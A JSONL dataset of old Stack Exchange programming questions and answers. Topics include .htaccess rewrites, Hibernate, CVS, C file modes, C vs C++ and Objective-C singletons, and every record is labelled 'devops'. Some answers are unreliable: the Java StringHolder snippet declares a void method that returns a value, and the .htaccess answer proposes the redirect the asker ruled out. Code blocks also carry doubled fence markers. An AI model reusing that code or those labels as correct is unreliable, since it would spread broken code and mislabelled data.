{"id": "hf_9412e2806608", "question": "<p>I've the following rewrite rule in .htaccess:</p>\n\n<pre><code>RewriteRule ^groups/([^/\\.]+)/?$  groupdetail.php?gname=$1 [L,NC]\n</code></pre>\n\n<p>This takes something like www.example.com/groups/groupname and calls www.example/groupdetail.php?gname=groupname.  And it works just fine.</p>\n\n<p>But all the relative links on groupdetail.php use groups/ as the relative path, and I don't want them to.  How do I avoid this?</p>\n\n<p>For example, when a user clicks on a link <code>&lt;a href=\"link.php\"&gt;</code> on groupdetail.php?gname=groupname, he's taken to www.example/groups/link.php.  I want to take the user to www.example.com/link.php.</p>\n\n<p>Obviously, I want to URL to the user to look like \"www.example.com/groups/groupname\" so I  don't want to use [R]/redirect.</p>\n", "question_body": "", "answer": "If you change the rewite rule to do a\nforce redirect\n(add the [R] option), then the browser will be using the /groupdetail.php URL and the relative links will work fine.  However, that adds one redirect and makes the URLs less pretty.\n```\n```\nRewriteRule ^groups/([^/.]+)/?$ groupdetail.php?gname=$1 [L,NC,R]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.259166"}
{"id": "hf_5faf66329c39", "question": "<p>I have a Java program that uses Hibernate and MySQL to store a lot of tracing data about the use of the Eclipse IDE. This data contains a lot of strings such as method names, directories, perspective name, etc. </p>\n\n<p>For example, an event object (which is then reflected in a record) can specify the source file and the current method, the user name, etc. Obviously, string data can repeat itself. </p>\n\n<p>As long as it's in memory, much of it is internalized so all repeated string instances point to the same object (I make sure of that). However, with @Basic (I use annotations), Hibernate maps it into a VARCHAR(255), which means a lot of wasted space.</p>\n\n<p>If I was coding the SQL myself, I could have replaced the VARCHAR with an index to a manually-managed string lookup table and saved the space (at the cost of extra lookups). </p>\n\n<p>Is there some way to get Hibernate to do this for me? I'm willing to pay the performance hit for the space.</p>\n", "question_body": "", "answer": "I suspect you'll need a string holder object and then make sure all these objects refer to that.\n```\n```\nclass StringHolder {\n  private Long id;\n  private String string;\n\n  public StringHolder() {/* Not sure if this is necessary */}\n\n  public StringHolder(String string) {\n    this.string = string;\n  }\n\n  public void getString() {\n    return this.string;\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.283467"}
{"id": "hf_ad2f49ddedcd", "question": "<p>I've removed a checked in file from the CVS branch, i.e.:</p>\n\n<pre><code>cvs remove -f file.txt\ncvs commit\n</code></pre>\n\n<p>How do I restore the file?</p>\n", "question_body": "", "answer": "I believe that:\n```\n```\ncvs add file.txt\ncvs commit file.txt\n```\n```\n... will resurrect it from the attic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.331871"}
{"id": "hf_e9294c15221f", "question": "<p>I am using Eclipse 3.4 (ganymede official, not the service pack).</p>\n\n<p>I have an update site that organizes features into categories; everything looks great in the editor and in the XML.</p>\n\n<p>Once the site is online, accessing it in the usual manner tells me that all the features are \"uncategorized\". I've tried from multiple computers running 3.4 and the same problem persists.</p>\n\n<p>What is curious is that I used Eclipse 3.3, and it saw the categories well, though of course it wasn't able to instlal the plugins which are made from 3.4.</p>\n\n<p>Am I doing something wrong or is this a known problem?</p>\n", "question_body": "", "answer": "It appears to be a known problem, due to the new\n'p2' provisioning system\n.\nSee\nthis discussion\n, and\nthis bug\n. What it seems to say is... \"stay put until 3.5M3, and then try it again\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.355354"}
{"id": "hf_4ef795303e40", "question": "<p>I think I might be missing the point of having a logging framework for your application.  In all the small apps I've always written a small \"Logging\" class and just pass log messages to a method in it which is written to a file.  </p>\n\n<p>What is the purpose of a 3rd party logging framework like log4net?  Is it thread safety with logging write operations or am I missing something?</p>\n", "question_body": "", "answer": "you might want to switch to log to a db for some message, or an alerting system that pages the poor person on support\nMore importantly though, most logging frameworks allow you to specify the loglevel of different classes so you dont need to cut a new binary each time you want more/less logging (that verbose logging for the bug you just spotted in production)\nLog4Net's site\nhas more detail", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.379728"}
{"id": "hf_c6991c7327eb", "question": "<p>In general I think I can convey most programming related concepts quite well.<br>\nYet, I still find it hard to summarise the relationship between Fields, Classes and Packages.</p>\n\n<p><br>\n<strong>How do You summarise \"Fields\", \"Classes\" and \"Packages\" and \"Their Relationship\" ?</strong></p>\n", "question_body": "", "answer": "I've faced a similar problem since I taught C, C++, and Java.\nHere is what I do:\nFirst, I keep packages separately and explain them in the end.\nIdeally, in my opinion, students should first learn about ADTs, preferably in C. They have the struct, they have the separate operations on it. Fields are then simply the \"slots\" in the struct and you can even show the memory layout to demonstrate it. Functions are separate entities that operate on those structs.\nYou then make the transition to classes, methods, and fields and show that in essence (barring inheritance and some anecdotes) they are in many ways syntactic sugar for ADTs.\nIf you need, you can then teach object layouts, inheritance, and virtual tables (in my experience it helps students understand inheritance better to see the memory layout).\nFinally you get to the topic of how to organize classes together. If you teach C++, you don't really have packages but you can explain namespaces and discuss organization and separate compilation.\nIf you are in Java, then you just explain that these are collections of classes in the same namespace, that have special access rules and show them. The package system in Java is kind of broken anyway so I usually go through patterns (e.g., separating a UI package from the C).\nSo in summary: Classes form the basis for objects that are a memory arrangement of several fields and associated methods that operate on them. Packages are collections of classes that have one more access restriction mechanism.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.429628"}
{"id": "hf_95c26f62d0a1", "question": "<p>I frequently start with a simple console application to try out an idea, then create a new GUI based project and copy the code in. Is there a better way? Can I convert my existing console application easily?</p>\n", "question_body": "", "answer": "Just add a new Winform, add the following code to your\n```\nMain\n```\n:\n```\n```\nApplication.EnableVisualStyles();\n    Application.SetCompatibleTextRenderingDefault(false);\n    Application.Run(new Form1());\n```\n```\nAlso, be sure the\n```\n[STAThread]\n```\nattribute is declared above your\n```\nMain\n```\nfunction to indicate the COM threading model your Windows application will use (more about STAThread\nhere\n).\nThen right click your project and select properties and change the \"Output type\" to Windows application and you're done.\nEDIT :\nIn VS2008 the property to change is Application type", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.455757"}
{"id": "hf_971fa3c048e4", "question": "<p>I have an XML document with un-namespaced elements, and I want to use XSLT to add namespaces to them. Most elements will be in namespace A; a few will be in namespace B. How do I do this?</p>\n", "question_body": "", "answer": "Here's what I have so far:\n```\n```\n<xsl:template match=\"*\">\n    <xsl:element name=\"{local-name()}\" namespace=\"A\" >\n        <xsl:apply-templates />\n    </xsl:element>\n</xsl:template>\n\n<xsl:template match=\"a-special-element\">\n    <B:a-special-element xmlns:B=\"B\">\n      <xsl:apply-templates />\n    </B:a-special-element>\n</xsl:template>\n```\n```\nThis almost works; the problem is that it's not copying attributes. From what I've read thusfar, xsl:element doesn't have a way to copy all of the attributes from the element as-is (use-attribute-sets doesn't appear to cut it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.492298"}
{"id": "hf_9b627f67b50a", "question": "<p>Is it possible to install/register another local server instance in any SqlServer version, besides the default local instance, where only one SqlServer version is installed? </p>\n", "question_body": "", "answer": "Yes, it's possible. I have several combinations in my servers. I have one server that has both SQL Server 2000 and 2005 installed side by side. My desktop at work is a Windows 2003 Server, and I have SQL Server 2005 and 2008 installed side by side.\nWhat you want is called a named instance. There will be a screen during the install, where you will be able to give it a name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.583938"}
{"id": "hf_54a51cbeb7f3", "question": "<p>The prompt says that if I install the software into a directory with spaces:</p>\n\n<blockquote>\n  <p>the rebuild build tool used by the D Shared Source System will fail to build</p>\n</blockquote>\n\n<p>and that I will be</p>\n\n<blockquote>\n  <p>forced to reinstall in a different location</p>\n</blockquote>\n\n<p>However, I don't like random things in my C:\\ drive. D, IMO, belongs in Program Files with PHP and MinGW and so on. How can I get it here?</p>\n\n<p>If it matters, I'm using the Easy D installer package.</p>\n", "question_body": "", "answer": "You could install it into C:\\Program Files, and then use the\n```\nsubst\n```\ncommand to make it appear as a new drive letter:\n```\n```\nsubst x: \"c:\\program files\\d\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.608224"}
{"id": "hf_d772c2a1b60b", "question": "<p>Recently I have started playing with jQuery, and have been following a couple of tutorials. Now I feel slightly competent with using it (it's pretty easy), and I thought it would be cool if I were able to make a 'console' on my webpage (as in, you press the ` key like you do in <a href=\"http://en.wiktionary.org/wiki/first-person_shooter\" rel=\"noreferrer\">FPS</a> games, etc.), and then have it Ajax itself back to the server in-order to do stuff.</p>\n\n<p>I originally thought the best way would be to just get the text inside the textarea, and then split it, or should I use the keyup event, convert the keycode returned to an ASCII character, append the character to a string and send the string to the server (then empty the string).</p>\n\n<p>I couldn't find any information on getting text from a textarea, all I got was keyup information. Also, how can I convert the keycode returned to an ASCII character?</p>\n", "question_body": "", "answer": "Normally, it's the value property\n```\n```\ntestArea.value\n```\n```\nOr is there something I'm missing in what you need?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.712684"}
{"id": "hf_364cd7435c0d", "question": "<p>I know that attributes are extremely useful. There are some predefined ones such as <code>[Browsable(false)]</code> which allows you to hide properties in the properties tab. Here is a good question explaining attributes: <a href=\"https://stackoverflow.com/questions/20346/c-what-are-attributes\">What are attributes in .NET?</a></p>\n\n<p><strong>What are the predefined attributes (and their namespace) you actually use in your projects?</strong> </p>\n", "question_body": "", "answer": "```\n[Serializable]\n```\nis used all the time for serializing and deserializing objects to and from external data sources such as xml or from a remote server.\nMore about it here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.749476"}
{"id": "hf_27d3ca80bef1", "question": "<p>I am in the process of writing a Bluetooth scanner that locates and identifies mobile devices in the local vicinity. Is this something that I can accomplish using C#, or do I need to drop down into the C/C++ APIs? My application is targeting Windows XP and Vista. Pointers are appreciated.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "There is also Peter Foot's 32feet.net\nhttp://inthehand.com/content/32feet.aspx\nI've played around with this back when it was v1.5 and it worked well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.773541"}
{"id": "hf_2853f54ef465", "question": "<p>I'm using an XYPlot in JFreeChart. All the lines on it are XYSeries objects. Both axes are NumberAxis objects. The Y-Axis range is from 0-1, with ticks every .1. Along with displaying the numbers though, I'd like to display text on the Y-Axis, like High/Medium/Low. High would cover .7-1, etc. What is the best way to go about doing this? </p>\n", "question_body": "", "answer": "I have some JFreeChart experience, and after a little research I don't have an answer for adding the three labels to the axis.\nHowever, as an alternative approach, you should be able to delineate these three areas on the plot with colors by setting a\nMarkerAxisBand\nfor the NumberAxis (using\nthis method\n).\nYou could then add interval markers to the MarkerAxisBand to highlight the three areas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.797555"}
{"id": "hf_2c2a95a6c685", "question": "<p>What's the easiest way to centre a <code>java.awt.Window</code>, such as a <code>JFrame</code> or a <code>JDialog</code>?</p>\n", "question_body": "", "answer": "From\nthis link\nIf you are using Java 1.4 or newer,\n  you can use the simple method\n  setLocationRelativeTo(null) on the\n  dialog box, frame, or window to center\n  it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.845338"}
{"id": "hf_2eaf5d9f76b7", "question": "<p>Code below is not working as expected to detect if it is in design mode (VS.Net 2003 - Control Library):</p>\n\n<p>if (this.Site != null &amp;&amp; this.Site.DesignMode == true) <br>\n{<br>\n  // Design Mode<br>\n}<br>\nelse<br>\n{<br>\n  // Run-time<br>\n}<br></p>\n\n<p>It is used in a complex user control, deriving from another user control and including other user controls on it.<br>\nIs there another way to detect design time in a VS.NET 2003 or what is the problem with the code above? </p>\n", "question_body": "", "answer": "I guess you could use HttpContext.Current == null as described at\nhttp://west-wind.com/weblog/posts/189.aspx\nIn .Net 2.0 there's Control.DesignMode (\nhttp://msdn.microsoft.com/en-us/library/system.web.ui.control.designmode.aspx\n). I guess you have a good reasons to stay on VS 2003 though, so upgrading might not be an option for you.\nUpdate\nIf you are doing Winforms, Component.DesignMode (\nhttp://msdn.microsoft.com/en-us/library/system.componentmodel.component.designmode.aspx\n) is the right way to check. Though, if this.Site.DesignMode doesn't work properly, Component.DesignMode might not work as well, as it does exactly the check you are doing (Site != null && Site.DesignMode).\nThis might be a long shot, but are you sure that your base control does not override the Site property?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.869507"}
{"id": "hf_1ed3250e487e", "question": "<p>How have you used the Exception.Data property in C# projects that you've worked on? </p>\n\n<p>I'd like answers that suggest a pattern, rather than those that are very specific to your app.</p>\n", "question_body": "", "answer": "I have used it when I knew the exception I was creating was going to need to be serialized.  Using Reflector one day, I found that Excepion.Data gets stuck into and pulled from serialization streams.\nSo, basically, if I have properties on a custom exception class that are already serializable types, I implement them on the derived class and use the underlying data object as their storage mechanism rather than creating private fields to hold the data.  If properties of my custom exception object require more advanced serialization, I generally implement them using backing private fields and handle their serialization in the derived class.\nBottom line, Exception.Data gives you serialization for free just by sticking your properties into it -- but just remember those items need to be serializable!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.905256"}
{"id": "hf_3f3558184371", "question": "<p>Can this be done? How?</p>\n\n<hr>\n\n<p>I want to write my own extension. Can Get the current page sorcecode in my own extension?</p>\n", "question_body": "", "answer": "Sure, just add view-source: in front of the URL.\n```\n```\nview-source:http://stackoverflow.com/posts/edit/145419\n```\n```\nWill show the source of this page for instance - try it in the address bar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.943860"}
{"id": "hf_c81cc0f3a4fa", "question": "<p>Every time I start Emacs I see a page of help text and a bunch of messages suggesting that I try the tutorial.  How do I stop this from happening?</p>\n", "question_body": "", "answer": "Put the following in your\n```\n.emacs\n```\n:\n```\n(setq inhibit-startup-message t)\n(setq inhibit-startup-echo-area-message t)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:43.991418"}
{"id": "hf_794b224aaa01", "question": "<p>I'm confused by the discussion and advancement both of a new version of HTML and a new version of XHTML. Are they competitors? If so, what is likeliest to be the adopted future of the web? If not, what is the differing non-competing purpose for each?</p>\n\n<p>Are we due to have a BluRay/HDVD battle here? Is there ultimately any clear decision? I fear a future where browsers pick and choose among the easiest and/or flashiest features of each to implement, leaving web developers trying to sort out the lowest common denominator for any new web app.</p>\n", "question_body": "", "answer": "In my opinion HTML5 will be the next dominant format. XHTML is just too unforgiving to be used in a web environment (you can't have the page fail on every small error...).\nHTML5 is shaping up to be quite the treat for web developers - a formal spec for the CANVAS element, native drag-and-drop API, an offline storage API, server notifications API (push model), a formal content editing API and much more. If they can deliver even half of what they are proposing to, it will be a major advancement for web applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.038983"}
{"id": "hf_d911ccddcc00", "question": "<p>Very simply put, I have the following code snippet:</p>\n\n<pre><code>FILE* test = fopen(\"C:\\\\core.u\", \"w\");\nprintf(\"Filepointer at: %d\\n\", ftell(test));\nfwrite(data, size, 1, test);\nprintf(\"Written: %d bytes.\\n\", size);\nfseek(test, 0, SEEK_END);\nprintf(\"Filepointer is now at %d.\\n\", ftell(test));\nfclose(test);\n</code></pre>\n\n<p>and it outputs:</p>\n\n<pre><code>Filepointer at: 0\nWritten: 73105 bytes.\nFilepointer is now at 74160.\n</code></pre>\n\n<p>Why is that? Why does the number of bytes written not match the file pointer?</p>\n", "question_body": "", "answer": "Since you're opening the file in text mode, it will convert end-of-line markers, such as LF, into CR/LF.\nThis is likely if you're running on Windows (and you probably are, given that your file name starts with\n```\n\"c:\\\"\n```\n).\nIf you open the file in\n```\n\"wb\"\n```\nmode, I suspect you'll find the numbers are identical:\n```\n```\nFILE* test = fopen(\"C:\\\\core.u\", \"wb\");\n```\n```\nThe C99 standard has this to say in\n```\n7.19.5.3 The fopen function\n```\n:\nThe argument mode points to a string. If the string is one of the following, the file is\n  open in the indicated mode. Otherwise, the behaviour is undefined.\n```\nr\n```\nopen text file for reading\n```\nw\n```\ntruncate to zero length or create text file for writing\n```\na\n```\nappend; open or create text file for writing at end-of-file\n```\nrb\n```\nopen binary file for reading\n```\nwb\n```\ntruncate to zero length or create binary file for writing\n```\nab\n```\nappend; open or create binary file for writing at end-of-file\n```\nr+\n```\nopen text file for update (reading and writing)\n```\nw+\n```\ntruncate to zero length or create text file for update\n```\na+\n```\nappend; open or create text file for update, writing at end-of-file\n```\nr+b\n```\nor\n```\nrb+\n```\nopen binary file for update (reading and writing)\n```\nw+b\n```\nor\n```\nwb+\n```\ntruncate to zero length or create binary file for update\n```\na+b\n```\nor\n```\nab+\n```\nappend; open or create binary file for update, writing at end-of-file\nYou can see they distinguish between\n```\nw\n```\nand\n```\nwb\n```\n. I don't believe an implementation is\nrequired\nto treat the two differently but it's usually safer to use binary mode for binary data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.066322"}
{"id": "hf_5a3e67c1e75b", "question": "<p>I haven't been around Java development for 8 years, but am starting to build a NetBeans Web Application. When I walk through the Web Application wizard, it asks for the server I'm going to be using. </p>\n\n<p>What would be the best and simplest server for me to start using with NetBeans?</p>\n", "question_body": "", "answer": "Since the NetBeans IDE is a Sun product, I would assume that the Glassfish application server would be a natural fit.\nThat said, one of the pluses of developing a web application in Java is that the interface for working with the http is standardized (i.e. the Servlet specification), so that you can pick any servlet container you want: be it Glassfish, Tomcat, Jetty or Weblogic. Since it sounds to me that you're experimenting and you want to use something easy to administer, I might go with Glassfish. However, be open to revisit that decision when you need to actually deploy your web application in a production environment. Be sure to check out other options like Tomcat or Jetty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.091726"}
{"id": "hf_7b4ef8e5f998", "question": "<p>I have some accesses from 192.168.0.71 on my apache logs.  I looked up this IP (because my server almost exclusively takes requests from 127.0.0.1, and I saw that it's reserved for \"special purposes.\"  What types of purposes might those be?</p>\n\n<hr>\n\n<p>Edit:</p>\n\n<p>I didn't tell you, typing 192.168.0.71 brings me straight to my site, just as 127.0.0.1 would.  I just wonder how this is different, then from 127.0.0.1.</p>\n", "question_body": "", "answer": "192.168.0.71 (Well the entire range 192.168.0.0 – 192.168.255.255) are for private (read. not internet accessible) network IP addresses, so that is from something inside your private network.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.139263"}
{"id": "hf_a1d751c4ce3a", "question": "<p>Can iPhone applications compiled against 2.1 be successfully installed via iTunes on a 2.0 device?</p>\n\n<p>I know iPhone applications compiled with 2.1 can <em>run</em> on a 2.0 device (assuming they're not using anything new from 2.1). But am not sure if iTunes will let the install take place.</p>\n\n<p>Does anyone have concrete information on this?</p>\n\n<p>I have not seen any apps on the AppStore that are 2.1+ only.</p>\n", "question_body": "", "answer": "Short answer, yes.\nThere have been some apps that dont work 100% in 2.1, but the two firmwares are pretty much backwards compatible", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.210030"}
{"id": "hf_c72120899b89", "question": "<p>I am taking a class in C++ programming and the professor told us that there is no need to learn C because C++ contains everything in C plus object-oriented features.  However, some others have told me that this is not necessarily true.  Can anyone shed some light on this?</p>\n", "question_body": "", "answer": "Overview:\nIt is almost true that C++ is a superset of C, and your professor is correct in that there is no need to learn C separately.\nC++ adds the whole object oriented aspect, generic programming aspect, as well as having less strict rules (like variables needing to be declared at the top of each function).  C++ does change the definition of some terms in C such as structs, although still in a superset way.\nExamples of why it is not a strict superset:\nThis Wikipedia article\nhas a couple good examples of such a differences:\nOne commonly encountered difference is\n  that C allows implicit conversion from\n  void* to other pointer types, but C++\n  does not. So, the following is valid C\n  code:\n```\n```\nint *i = malloc(sizeof(int) * 5);\n```\n```\n... but to make it work in both C and\n  C++ one would need to use an explicit\n  cast:\n```\n```\nint *i = (int *) malloc(sizeof(int) * 5)\n```\n```\nAnother common portability issue is\n  that C++ defines many new keywords,\n  such as new and class, that may be\n  used as identifiers (e.g. variable\n  names) in a C program.\nThis wikipedia article\nhas further differences as well:\nC++ compilers prohibit goto from crossing an initialization, as in the following C99 code:\n```\n```\nvoid fn(void)\n {\n  goto flack;\n  int i = 1;\n flack:\n   ;\n }\n```\n```\nWhat should you learn first?\nYou should learn C++ first, not because learning C first will hurt you, not because you will have to unlearn anything (you won't), but because there is no benefit in learning C first.  You will eventually learn just about everything about C anyway because it is more or less contained in C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.235352"}
{"id": "hf_9c801e5f40ca", "question": "<p>I need to do some performance benchmarks on .NET programs (C#) in Windows, but I haven't done benchmarking much in the Windows world.  I've looked into using the Windows 2000/XP Performance monitor with custom counters for this, but I don't think this is quite what I want.</p>\n\n<p>Are there any good system facilities for this in Windows XP, or do I need to just use System.Diagnostics.Stopwatch [edit] and write text logs for manual interpretation, or is there something else?</p>\n\n<p>Edit: is there anything beyond <code>System.Diagnostics.Stopwatch</code>?</p>\n", "question_body": "", "answer": "```\n```\nusing System.Diagnostics;\n....\n\nStopwatch sw = new Stopwatch();\n\nsw.Start();\n\n// Code you want to time...\n\n// Note: for averaged accuracy (without other OS effects), \n//       run timed code multiple times in a loop \n//       and then divide by the number of runs.\n\nsw.Stop();\n\nConsole.WriteLine(\"Took \" + sw.ElapsedTicks + \" Ticks\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.262976"}
{"id": "hf_a7c81b342bef", "question": "<p>My singleton accessor method is usually some variant of:</p>\n\n<pre><code>static MyClass *gInstance = NULL;\n\n+ (MyClass *)instance\n{\n    @synchronized(self)\n    {\n        if (gInstance == NULL)\n            gInstance = [[self alloc] init];\n    }\n\n    return(gInstance);\n}\n</code></pre>\n\n<p>What could I be doing to improve this?</p>\n", "question_body": "", "answer": "```\n```\n@interface MySingleton : NSObject\n{\n}\n\n+ (MySingleton *)sharedSingleton;\n@end\n\n@implementation MySingleton\n\n+ (MySingleton *)sharedSingleton\n{\n  static MySingleton *sharedSingleton;\n\n  @synchronized(self)\n  {\n    if (!sharedSingleton)\n      sharedSingleton = [[MySingleton alloc] init];\n\n    return sharedSingleton;\n  }\n}\n\n@end\n```\n```\n[Source]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.310805"}
{"id": "hf_31a385855c7f", "question": "<p>Right now I write expressions in the <code>*scratch*</code> buffer and test them by evaluating with <kbd>C-x</kbd> <kbd>C-e</kbd>. I would really appreciate having an interactive interpreter like SLIME or irb, in which I could test Emacs Lisp expressions.</p>\n", "question_body": "", "answer": "In the\n```\n*scratch*\n```\nbuffer, just type C-j to evaluate the expression before point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.371689"}
{"id": "hf_daca622df9bc", "question": "<p>I guess the question is self-explanatory, but I'm wondering whether HTML qualifies as a programming language (obviously the \"L\" stands for language).  </p>\n\n<p>The reason for asking is more pragmatic&mdash;I'm putting together a resume and don't want to look like a fool for listing things like HTML and XML under languages, but can't figure out how to classify them.</p>\n", "question_body": "", "answer": "YES, a declarative programming language.\nYou really want to list the most important things you know that are relative to the job you're applying for on your resume. If you list ASP.NET but don't list HTML, even though it's somewhat obvious, there are a lot of managers and/or HR types that will assume you don't know HTML since it's not listed. I've had it happen to me before.\nUpdate - Some say no it isn't a programming language, and you may not agree with me on this, but regardless on a resume it IS a programming language. You get HR types looking at your resume before the hiring manager even sees it. If the manager says you need to know HTML, and it's not listed in the 'programming languages' section then the HR person may disregard you resume thinking you don't know it because it's not listed.\nUpdate 6-8-2012: Any instruction that tells the computer to do something is a programming language. So even after all these years, I still stand by my answer. HTML is a programming language. Something that isn't a programming language would be XML.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.395637"}
{"id": "hf_66ed7748bb23", "question": "<p>Is there a free software for creating windows help files for your program?</p>\n\n<p>I would like something that allows an output of both CHM and HTML files.</p>\n", "question_body": "", "answer": "If you're developing for .NET and you're looking to generate XML documentation help files you should look into Microsoft's shared-source\nSandcastle\nproject, and the front-end GUI for it \"\nSandcastle Help File Builder\n.\"\nIt's pretty nice and highly configurable. You can make some really good help documentation using it.\nIt was a little slow the last time I used it (over 6 months ago) but it may have been optimized since then...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.502661"}
